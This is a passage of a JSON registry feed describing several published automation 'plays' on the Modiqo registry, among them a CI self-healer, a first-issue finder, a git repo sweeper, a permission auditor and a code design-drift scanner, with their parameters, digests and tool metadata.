list","example":"junior"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8673c1e9158cff22eeba53f3ce94fcb8ccd5af6fda255478d9dda862f7c06495","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":6,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"inferred","count":5},{"name":"sh","kind":"tool","source":"declared","count":5},{"name":"raw.githubusercontent.com","kind":"host","source":"inferred","count":3},{"name":"hn.algolia.com","kind":"host","source":"inferred","count":2},{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/swapankumar/ci-self-healer@1.3.9","reference":"swapankumar/ci-self-healer@1.3.9","uri":"https://play.modiqo.ai/swapankumar/ci-self-healer@1.3.9","manifest_uri":"https://play.modiqo.ai/swapankumar/ci-self-healer@1.3.9","name":"ci-self-healer","title":"ci-self-healer","description":"Autonomous universal CI/CD failure diagnoser and self-healing repair engine. Scans host runner environments across Node.js (React & Express), Python (unittest & pytest), Go (go test), Ruby (minitest & Rails), Cargo, and Make. Captures stack traces, parses error context, and synthesizes line-level code patches using LLMs (Google Gemini 3.7 Flash, OpenAI, Claude, DeepSeek, Ollama, or any OpenAI-compatible API). Executes deterministic multi-stage verification (lint, build, test), displays Recovery SLA timing metrics, and supports direct, branch, PR, or dry-run delivery strategies. Integrated natively with keyless MCP and AI IDE Agent Skills.","owner":{"kind":"user","slug":"swapankumar"},"registry_organization":"swapankumar","tags":["ci-cd","test-healer","self-healing","ai-agent","gemini-llm","cloud-llm"],"primary_domain":"domain-uncategorized","author":"swapankumar","version":"1.3.9","published_at":"2026-09-05T20:19:02.500893+00:00","visibility":"public","quality_score":1,"size_bytes":16508,"license":null,"stats":{"downloads":80,"installs":0},"steps":{"count":4,"names":["discover_ci","capture_logs","verify_suite","synthesize_patch"]},"parameters":[{"name":"auto_push","type":"boolean","required":false,"description":"Set to true to automatically commit and push verified self-healing patches back to Git remote"},{"name":"push_strategy","type":"string","required":false,"description":"Git delivery strategy (direct: push to active branch, branch: create fix/ci-healer branch, pr: create branch & pull request, none: dry-run)"},{"name":"api_key","type":"string","required":false,"description":"Gemini / OpenAI Cloud LLM API Key for autonomous AI patch synthesis"},{"name":"model","type":"string","required":false,"description":"Cloud LLM Model name (e.g. gemini-3.5-flash, gemini-flash-latest, gpt-4o-mini)"},{"name":"provider","type":"string","required":false,"description":"Provider override (gemini, openai, ollama)"},{"name":"base_url","type":"string","required":false,"description":"Custom OpenAI-compatible API base URL (e.g. http://localhost:11434/v1 for Ollama)"},{"name":"github_token","type":"string","required":false,"description":"Optional GitHub Personal Access Token or GITHUB_TOKEN for GitHub Actions API access"},{"name":"gitlab_token","type":"string","required":false,"description":"Optional GitLab Personal Access Token or GITLAB_TOKEN for GitLab Pipelines API access"},{"name":"log_file","type":"string","required":false,"description":"Path to raw CI log file (defaults to live test execution stream)"},{"name":"target_dir","type":"string","required":false,"description":"Target repository directory (defaults to current working directory)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c7716b71d37c1329f8a5f412674b40791335b9cdc429deabf38e2c3cf39943f8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/sidships/first-issue@0.1.2","reference":"sidships/first-issue@0.1.2","uri":"https://play.modiqo.ai/sidships/first-issue@0.1.2","manifest_uri":"https://play.modiqo.ai/sidships/first-issue@0.1.2","name":"first-issue","title":"first-issue","description":"Finding an issue labelled \"good first issue\" is easy; GitHub search does it. Knowing which ones are not traps is the hard part, and that is what this scores. Every candidate is filtered at the search index for unassigned, no linked pull request, live repository, and a short comment thread, then ranked against your own weighted skill profile with the matching evidence quoted on each row. The repositories behind your top matches are checked for real activity, so an issue in an abandoned or archived project is flagged rather than recommended, and the top picks are spread across projects so one prolific repo cannot fill your whole list. Red flags are shown, never scored away: a busy thread that may already be claimed, a stale issue freshly bumped, a reporter who is not a maintainer, an issue too thin to start without asking. Honest limit: it does not read comment threads, because that costs one API call per issue and would break the keyless budget, so an issue with a couple of comments may still be quietly taken; the companion re-rank prompt has your agent confirm the top few. Reads the public GitHub API with plain GETs and writes exactly two files: it creates and merges the CSV at csv_path, where your status column is never overwritten and issues that disappear are marked stale rather than deleted, and it writes a .handoff.json beside that CSV for the final agent pass. It changes nothing on GitHub and never comments, claims or opens anything. Runs cold with a bundled demo profile. No adapters, no credentials, no keys; needs only curl and python3.","owner":{"kind":"user","slug":"sidships"},"registry_organization":"sidships","tags":["typescript","open-source","github","contributing"],"primary_domain":"domain-uncategorized","author":"sidships","version":"0.1.2","published_at":"2026-09-03T17:02:36.729771+00:00","visibility":"public","quality_score":1,"size_bytes":17227,"license":null,"stats":{"downloads":52,"installs":0},"steps":{"count":4,"names":["score","shortlist","repo_health","issue_search"]},"parameters":[{"name":"profile_path","type":"string","required":false,"default":"./profile.json","description":"Path to a weighted skill profile (resources/profile-prompt.md builds one) or a plain-text CV, which is read as keywords instead. Absent means the bundled demo profile. Agent: offer to build the profile from their CV, repos or manifests","example":"~/profile.json"},{"name":"csv_path","type":"string","required":false,"default":"~/first-issue.csv","description":"Your living shortlist, merged across runs; the status column is yours and is never overwritten. Agent: ask where they want it on the first real run","example":"~/oss/first-issue.csv"},{"name":"languages","type":"string","required":false,"default":"","description":"Comma-separated languages, applied as a GitHub language filter at the search index. This is the single biggest relevance win: set it to your two or three strongest. Empty searches every language","example":"python,typescript"},{"name":"labels","type":"string","required":false,"default":"good first issue","description":"Which issue label to hunt; other useful values are help wanted, up-for-grabs, documentation","example":"help wanted"},{"name":"min_score","type":"integer","required":false,"default":"1","description":"Only add NEW rows scoring at least this (0-100); rows already in your sheet are always kept and refreshed","example":"30"},{"name":"days_back","type":"integer","required":false,"default":"21","description":"Ignore issues with no activity in this many days, since a silent issue usually means a silent project","example":"14"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4acb26fe0c7158729c793dd43b286941e1d7c489317acd7fb2d031073246c11b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"sh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/jaylabs/sweep-git-repos@0.4.14","reference":"jaylabs/sweep-git-repos@0.4.14","uri":"https://play.modiqo.ai/jaylabs/sweep-git-repos@0.4.14","manifest_uri":"https://play.modiqo.ai/jaylabs/sweep-git-repos@0.4.14","name":"sweep-git-repos","title":"sweep-git-repos","description":"You have a folder full of repos and no idea which ones hold work that only exists on your laptop. This finds them. It walks every git repo under a folder you choose and reports unpushed commits, uncommitted changes, stashes and branches with no upstream, then asks GitHub whether that work is already on origin or in a pull request. That leg uses your existing gh login or the rote github adapter, makes GET calls only, and can be switched off. A repo it cannot read is listed as unknown, not dropped. The only file it writes is a baseline kept outside your repositories, so the next sweep shows what moved. It never writes inside a repository and never fetches.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["domain-developer-workflow","job-repo-hygiene","audience-developers","effect-write","git","tool-git","tool-gh","github","github-adapter","rote-adapter","pull-requests","repo-hygiene","unpushed-commits","uncommitted-changes","dirty-repos","stale-branches","stashes","local-repos","all-repositories","find-unpushed-work","git-audit","projects","wip","ahead-of-origin","check-all-repos","scan"],"primary_domain":"domain-developer-workflow","author":"jayanth","version":"0.4.14","published_at":"2026-09-04T17:54:26.75639+00:00","visibility":"public","quality_score":1,"size_bytes":56843,"license":null,"stats":{"downloads":46,"installs":0},"steps":{"count":10,"names":["env_probe","sweep_repo","github_probe","ensure_github","github_status","load_previous","validate_base","discover_repos","github_targets","github_branches"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":"~/Documents","description":"Folder to sweep. A tilde path like ~/code is expanded to your home folder. Give an absolute path otherwise. A relative one resolves against the run workspace rather than your shell, so it will usually not be found.","example":"~/Documents"},{"name":"max_depth","type":"string","required":false,"default":"3","description":"How many folder levels below base_dir to search. Must be a whole number; clamped to 1..6. Anything else falls back to 3 and the run says so. Keep it small on big trees.","example":"3"},{"name":"state_dir","type":"string","required":false,"default":"","description":"Where to keep the baseline this play compares against. Leave empty to use the play's own run workspace. Nothing is ever written inside a repository either way.","example":"~/.rote/sweep-git-repos-state"},{"name":"emails","type":"string","required":false,"default":"","description":"Extra addresses that count as yours, comma separated. Your repo-level and global git user.email already count; this is for the other addresses you commit under.","example":"you@work.com, you@users.noreply.github.com"},{"name":"only","type":"string","required":false,"default":"","description":"Sweep only the repositories whose path under base_dir contains this text, case-insensitive. The baseline still records everything found, so a filtered run cannot make the next full run think the rest disappeared.","example":"nohunt"},{"name":"max_repos","type":"string","required":false,"default":"0","description":"Stop after this many repositories, in path order. 0 means no cap. Must be a whole number; anything else is ignored as no cap and the run says so.","example":"20"},{"name":"format","type":"string","required":false,"default":"text","description":"How the briefing reads. The value text is the aligned terminal view, markdown a table you can paste into a document, json the same object the result view carries.","values":["text","markdown","json"],"example":"markdown"},{"name":"github","type":"string","required":false,"default":"auto","description":"Which route checks unpushed and upstream-less branches. The value auto tries the gh CLI, then the rote adapter, then skips and says why. The values gh and adapter each insist on one. The value never keeps the sweep local. GET only.","values":["auto","gh","adapter","never"],"example":"adapter"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1a40983e8cb95d60fb1ab9f994bb2664dc38a4d9502a22f64c98721f78d8f9a1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":1,"shell":8,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":5,"width":4,"fan_out":8,"for_each_steps":3,"complexity":20,"apis":[{"adapter":"github","steps":2,"methods":["repos/list-branches"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sookra/reach-check@0.3.15","reference":"sookra/reach-check@0.3.15","uri":"https://play.modiqo.ai/sookra/reach-check@0.3.15","manifest_uri":"https://play.modiqo.ai/sookra/reach-check@0.3.15","name":"reach-check","title":"reach-check","description":"See what a Play actually reaches on this machine before you publish it or run it. rote play inspect shows what a Play declares and resolves those declarations against your host. This reads the step bodies themselves, follows sh -c, python3 -c and @resource files, and reports the executables, imports, adapters, browser steps, environment variables and writes they really touch, together with which of them are missing here. It also flags argv paths that point at a user home directory or do not resolve here, which is how a published Play ends up running only on its author's machine. It never runs, imports or pulls the Play it reads, and it writes nothing. The one subprocess it runs is rote play inspect, to report rote's own verdict beside this one, and offline=true skips it. It runs its own positive and negative cases before the scan, on your machine, against the same reader the scan uses, and refuses to call the scan trustworthy if any of them fail. The negative half is the one that matters, because the cheap way to pass a test for under-reporting is to report every token in a body as a command.","owner":{"kind":"user","slug":"sookra"},"registry_organization":"sookra","tags":["domain-rote-plays","job-dependency-audit","audience-play-authors","effect-read-only","play-hygiene"],"primary_domain":"domain-rote-plays","author":"sookra","version":"0.3.15","published_at":"2026-09-04T04:47:15.800439+00:00","visibility":"public","quality_score":1,"size_bytes":44592,"license":null,"stats":{"downloads":44,"installs":0},"steps":{"count":4,"names":["self_test","host_facts","rote_verdict","reach_analysis"]},"parameters":[{"name":"play","type":"string","required":false,"default":"all","description":"What to read: all, an owner/name reference such as modiqo/hello, or a path to a Play package directory. Use the path form on a Play you are writing, before you publish it."},{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Directory holding installed packages. Change it to read a rote store other than the default one."},{"name":"strict","type":"string","required":false,"default":"false","description":"Set to true to exit non-zero when any analysed Play reaches something that is missing on this machine. Off by default, because a finding is information rather than a failure."},{"name":"offline","type":"string","required":false,"default":"false","description":"Set to true to skip the one step that calls rote play inspect, so the run makes no network call at all."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:252d0bec01f541d97e7420a030d88202d2636ec31bad97eb7e099f026532f276","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jaylabs/audit-play@0.4.7","reference":"jaylabs/audit-play@0.4.7","uri":"https://play.modiqo.ai/jaylabs/audit-play@0.4.7","manifest_uri":"https://play.modiqo.ai/jaylabs/audit-play@0.4.7","name":"audit-play","title":"audit-play","description":"After a few months of clicking yes, always, your Claude Code or Codex allow list is a list nobody has read. This tells you which entries you can delete. It reads your settings files and MCP servers for what you granted, reads your session transcripts for what actually ran, and subtracts one from the other. You get four lists: grants nothing ever used, the write-capable ones among them, rules that can reach past this machine, and MCP servers that sat idle the whole window. Each row names the file it came from, so you can trim the list yourself. Your settings files are only ever read from, a grant stays granted, and no socket is opened; the only thing it puts on disk is its own report, six files in an output directory you choose, and the only thing it needs is python3.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["effect-write","play-hygiene","domain-agent-operations","job-permission-audit","audience-developers","typescript","audit","security","permissions","agent","tool-python3","claude-code","codex","mcp-servers","least-privilege","allow-list","agent-sessions","transcripts","unused-grants","approval-mode","sandbox"],"primary_domain":"domain-agent-operations","author":"jayanth","version":"0.4.7","published_at":"2026-09-04T12:10:25.432735+00:00","visibility":"public","quality_score":1,"size_bytes":73901,"license":null,"stats":{"downloads":41,"installs":0},"steps":{"count":6,"names":["drift","profile","join_diff","read_policy","read_traces","inventory_grants"]},"parameters":[{"name":"project_path","type":"string","required":false,"default":"all","description":"Which project to audit. The word all audits every project this machine records, which is what a bare run with no parameters does. A path narrows to one project, selecting its policy files and its transcript directory. A path inside the rote run workspace is the play's own scratch directory rather than a project, so it falls back to all with a warning.","example":"/Users/you/code/my-project"},{"name":"window_hours","type":"string","required":false,"default":"72","description":"How far back to look, in hours, filtered per event on the record timestamp. 0 means the whole recorded history. Shorter than a weekend produces mostly false idleness.","example":"168"},{"name":"harness","type":"string","required":false,"default":"claude","description":"Which agent harness wrote the transcripts and config. claude reads ~/.claude/projects, ~/.claude.json and the settings files. codex reads ~/.codex/sessions rollouts and ~/.codex/config.toml, where policy is an approval mode rather than a rule list, so the three rule-shaped finding classes read not applicable. Any other value is a hard fault rather than a silent empty report.","values":["claude","codex"],"example":"codex"},{"name":"denial_patterns","type":"string","required":false,"default":"has been denied|Permission denied|permission was denied|was denied by|tool use was rejected|Sandbox\\(Denied","description":"Case insensitive regex that marks an errored tool result as a denial rather than an execution failure. Exposed because the harness wording is not a stable contract, and misreading it turns a control that worked into a control that was bypassed. The default carries the Claude Code phrasings and Codex's Sandbox(Denied marker.","example":"has been denied|rejected by policy"},{"name":"include_subagents","type":"string","required":false,"default":"true","description":"Whether to read subagent transcripts under each session's subagents directory alongside the session transcripts. They hold real tool calls, so excluding them makes every unused finding a floor.","values":["true","false"],"example":"false"},{"name":"policy_scopes","type":"string","required":false,"default":"user,project","description":"Comma separated settings scopes to union. Each scope reads its settings.json and settings.local.json.","example":"project"},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints the top items per class and omits the per-file array from traces.json; all prints every row in the least privilege profile and writes the per-file array. Neither setting changes a count.","values":["findings","all"],"example":"all"},{"name":"since","type":"string","required":false,"default":"","description":"Path to the shadow-diff.json an earlier run wrote. Given one, the report adds what moved since that run — grants newly dead, grants newly used, rules added or removed, servers newly idle or newly active, and blocks that started or stopped. Two runs taken over different windows, scopes or harnesses are reported as not comparable rather than subtracted. Empty means no comparison.","example":"/tmp/last-audit/shadow-diff.json"},{"name":"session","type":"string","required":false,"default":"","description":"Audit one run instead of the machine. Takes a transcript file path or a session id; executed evidence then comes from that transcript and the subagents it spawned, and nothing else. The window still applies inside it. A machine-wide audit answers what a policy has authorised over months; this answers what one piece of work actually needed. A session that cannot be found is a hard fault rather than a silent fallback to everything.","example":"a1cafe13-0abf-4a91-b65f-00ff1db6f676"},{"name":"compare_to","type":"string","required":false,"default":"","description":"Path to the shadow-diff.json an earlier run wrote. Given one, the report says whether every count reproduces and, where a count moved, names the condition that moved underneath it — window bounds, transcript files enumerated, rules read, servers advertised, harness, scope, scan time. A count that moved while a condition moved was measuring something else, not failing to reproduce. Empty means no check.","example":"/tmp/last-audit/shadow-diff.json"},{"name":"out_dir","type":"string","required":false,"default":"","description":"Where the six artifacts are written, five JSON files and one markdown profile. Empty means the run workspace working directory. traces.json records the command, file path or URL each call was made with, truncated, with credential-shaped spans masked; treat it as you would your shell history.","example":"/tmp/shadow-diff"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6f42c3df4382090f834d8c166a288b158b9a6f0754e5a4d9ea184b5220b22ad8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/playoffs-standings@0.2.7","reference":"dotisacat/playoffs-standings@0.2.7","uri":"https://play.modiqo.ai/dotisacat/playoffs-standings@0.2.7","manifest_uri":"https://play.modiqo.ai/dotisacat/playoffs-standings@0.2.7","name":"playoffs-standings","title":"playoffs-standings","description":"Where does your Play actually stand, and what shipped while you were building? Live standings for the Modiqo public Play registry: total plays and owners, top-N by lifetime downloads, everything published in the last H hours, and per-owner aggregates. Every run also compares itself against your last run and shows what changed since then -- plays that newly appeared (with age), the biggest download gainers, and any references that vanished; the first run just saves a baseline. Set author to track one publisher's own plays with rank, downloads, and delta. Fetches the live endpoint with retry and falls back to the cached feed with a labeled warning instead of failing. Read-only against the registry; saves only a small snapshot under its own run workspace so the next run can show you what changed. Plays are tracked by owner/name across version bumps: a bump shows as UPDATED, never as one play GONE plus one NEW, and the saved baseline keeps each play's high-water download count so the registry's cache can never fake a gain. No credentials, no browser; needs only python3 and curl.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-registry-standings","audience-developers","effect-read-only","tool-registry"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.2.7","published_at":"2026-09-04T18:06:34.123365+00:00","visibility":"public","quality_score":1,"size_bytes":13187,"license":null,"stats":{"downloads":35,"installs":0},"steps":{"count":2,"names":["probe_endpoint","compute_standings"]},"parameters":[{"name":"limit","type":"integer","required":false,"default":"15","description":"How many Plays to show in the downloads ranking (1-100)","example":"15"},{"name":"recent_hours","type":"integer","required":false,"default":"48","description":"Look-back window in hours for the recently-published list","example":"48"},{"name":"author","type":"string","required":false,"default":"","description":"Track one author: their plays get a YOUR PLAYS section with rank + downloads + delta. Empty string means off.","example":"dotisacat"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:253732ef20f38e8e4fff35c8784d78553311453ef2a45574a7590c2dac88ff24","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/sidships/token-tab@0.1.2","reference":"sidships/token-tab@0.1.2","uri":"https://play.modiqo.ai/sidships/token-tab@0.1.2","manifest_uri":"https://play.modiqo.ai/sidships/token-tab@0.1.2","name":"token-tab","title":"token-tab","description":"Your coding sessions already wrote down every token they used, split four ways across model tiers at different prices, with subagent spend buried in subdirectories. It is unreadable by hand, so nobody reads it. This reads it. You get a table of tokens and list-price equivalent per model, your heaviest sessions with subagent cost broken out, and exactly four waste checks: the same file re-read within one session, a near-zero cache-read rate that means something near the front of your prompt keeps changing and the whole prefix is being re-billed, a subagent that cost real money to make two tool calls, and a run of mechanical edits on a top-tier model. Every finding names its evidence and what to change. Two promises it keeps: the money figure is API list-price equivalent and the report says plainly that it is not a bill, because on a subscription it is not what you paid; and prices come from a bundled table that carries its source URL and an as-of date, so a model missing from it is reported as tokens with the cost left blank rather than guessed. It reads counts, costs and file paths, never prompt text, file contents or tool results. It writes a markdown report at out_path and a claude-md.proposed.diff beside it which it never applies - suggested rules are yours to paste in or ignore. Zero network, so it cannot break when a website changes. Runs cold on bundled demo logs. No adapters, no credentials, no keys; needs only python3.","owner":{"kind":"user","slug":"sidships"},"registry_organization":"sidships","tags":["typescript","cost","tokens","observability"],"primary_domain":"domain-uncategorized","author":"sidships","version":"0.1.2","published_at":"2026-09-04T15:00:12.177615+00:00","visibility":"public","quality_score":1,"size_bytes":15542,"license":null,"stats":{"downloads":35,"installs":0},"steps":{"count":2,"names":["audit","rates_check"]},"parameters":[{"name":"projects_dir","type":"string","required":false,"default":"~/.claude/projects","description":"Where your session logs live; the default is the standard location. Point it at the bundled demo-logs folder to see a full run without touching your own history","example":"~/.claude/projects"},{"name":"out_path","type":"string","required":false,"default":"~/token-tab.md","description":"Where the report is written; overwritten each run. The proposed CLAUDE.md diff is written beside it and is never applied. Agent: ask where they want it on the first run","example":"~/notes/token-tab.md"},{"name":"days_back","type":"integer","required":false,"default":"30","description":"How far back to count, filtered on each record's own timestamp rather than the file's date, so a long-running session is not counted as all-recent","example":"7"},{"name":"rates_path","type":"string","required":false,"default":"","description":"Override the bundled price table with your own JSON, for contract or enterprise pricing. Empty uses the bundled table, which states its source and as-of date","example":"~/my-rates.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fd5657cc2ac5988409eabfca1dee54c3c3aed50bc7f1fb155feaea04581dfb93","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mahesh/design-drift@1.0.0","reference":"mahesh/design-drift@1.0.0","uri":"https://play.modiqo.ai/mahesh/design-drift@1.0.0","manifest_uri":"https://play.modiqo.ai/mahesh/design-drift@1.0.0","name":"design-drift","title":"design-drift","description":"Finds where a codebase stopped following its own patterns, the drift an AI coding session leaves behind. Infers each package's conventions from the code itself and reports every file that uses a second way of doing the same job, plus god objects, data clumps, duplicated switches, deep nesting, singletons, shotgun surgery, circular imports, long functions and long parameter lists from the Fowler catalog. Convention families cover http client, validation, ORM, test runner and import-path style across JavaScript, TypeScript, Python, Go and C#. Smells are labelled exact for Python and heuristic for other languages. An optional since_ref reports what was added, removed and persisting since a tag, branch or commit, so a run after each coding session shows only what that session changed. Scans one Git repository or every immediate child repository of a parent directory as parallel fan-outs, read-only and credential-free, with a bundled self-check of the fail-closed contract and exact detection counts.","owner":{"kind":"user","slug":"mahesh"},"registry_organization":"mahesh","tags":["typescript","python","git","code-smells","anti-patterns","design-smells","convention-drift","consistency","architecture","refactoring","long-function","long-parameter-list","god-object","data-clumps","duplicated-switch","deep-nesting","declared-rules","singleton","shotgun-surgery","circular-imports","csharp","dotnet","ai-generated-code","vibe-coding","source-audit","shell","fan-out","multi-repo","drift-delta","since-ref"],"primary_domain":"domain-uncategorized","author":"Mahesh Moholkar","version":"1.0.0","published_at":"2026-09-06T14:21:25.674892+00:00","visibility":"public","quality_score":1,"size_bytes":127389,"license":"MIT","stats":{"downloads":34,"installs":0},"steps":{"count":15,"names":["run_self_check","scan_singleton","scan_data_clumps","scan_god_objects","probe_environment","scan_deep_nesting","verify_collection","scan_declared_rules","scan_long_functions","scan_shotgun_surgery","discover_repositories","scan_circular_imports","scan_convention_drift","scan_duplicated_switch","scan_long_parameter_lists"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to one Git repository or a parent directory whose immediate children are Git repositories; relative paths use the invoking shell directory and the default is '.'."},{"name":"include_convention_drift","type":"string","required":false,"default":"true","description":"Whether to infer per-package conventions (http client, validation, dates, ORM, state, test runner, logger, import-path style) and report files that use a different alternative: true or false. A repository .design-rules.json may add family_pins (family id to a required alternative name, bypassing dominance_percent/min_voters) and threshold_overrides (per-family dominance_percent/min_voters); every run also proposes a family_pins snippet from the unanimous/established dominants found this run, printed as a copy-pasteable block."},{"name":"include_long_functions","type":"string","required":false,"default":"true","description":"Whether to report functions longer than max_function_lines (tests, migrations and generated code excluded): true or false."},{"name":"include_long_parameter_lists","type":"string","required":false,"default":"true","description":"Whether to report function signatures with more than max_parameters parameters (tests, migrations and generated code excluded): true or false."},{"name":"include_god_objects","type":"string","required":false,"default":"true","description":"Whether to report god objects, classes with more than max_class_members methods plus fields (tests, migrations and generated code excluded): true or false."},{"name":"max_function_lines","type":"integer","required":false,"default":"80","description":"Functions with more lines than this are reported as long, from 1 through 100000."},{"name":"max_parameters","type":"integer","required":false,"default":"6","description":"Signatures with more parameters than this are reported as long, from 1 through 100; a destructured object counts as one parameter and self or cls is not counted."},{"name":"max_class_members","type":"integer","required":false,"default":"20","description":"Classes with more members (methods plus fields) than this and at least one method are reported as god objects, from 1 through 100000; classes above the bound with fields only (DTOs, models, plain structs) are counted as data-only and not listed. Python counts are exact from the syntax tree, brace languages are heuristic, Go structs count same-file receiver methods and Rust structs count same-file impl functions."},{"name":"include_data_clumps","type":"string","required":false,"default":"true","description":"Whether to report data clumps, the same group of parameter names recurring together across several function signatures of one package (tests, migrations and generated code excluded): true or false."},{"name":"min_clump_size","type":"integer","required":false,"default":"3","description":"Minimum number of parameter names a group must share to count as a data clump, from 2 through 20. Names come from the syntax tree for Python and from the signature text for other languages; destructured, rest and receiver parameters carry no name."},{"name":"min_clump_occurrences","type":"integer","required":false,"default":"3","description":"Minimum number of function signatures in one package that must carry the same group of names before it is reported, from 2 through 100000. Only closed clumps are listed, so a group is one row rather than a ladder of its subsets."},{"name":"include_duplicated_switch","type":"string","required":false,"default":"true","description":"Whether to report duplicated switch statements, the same sorted set of case labels recurring in at least two switch, match or if-elif statements of one package, or a single statement with more than min_switch_cases cases (tests, migrations and generated code 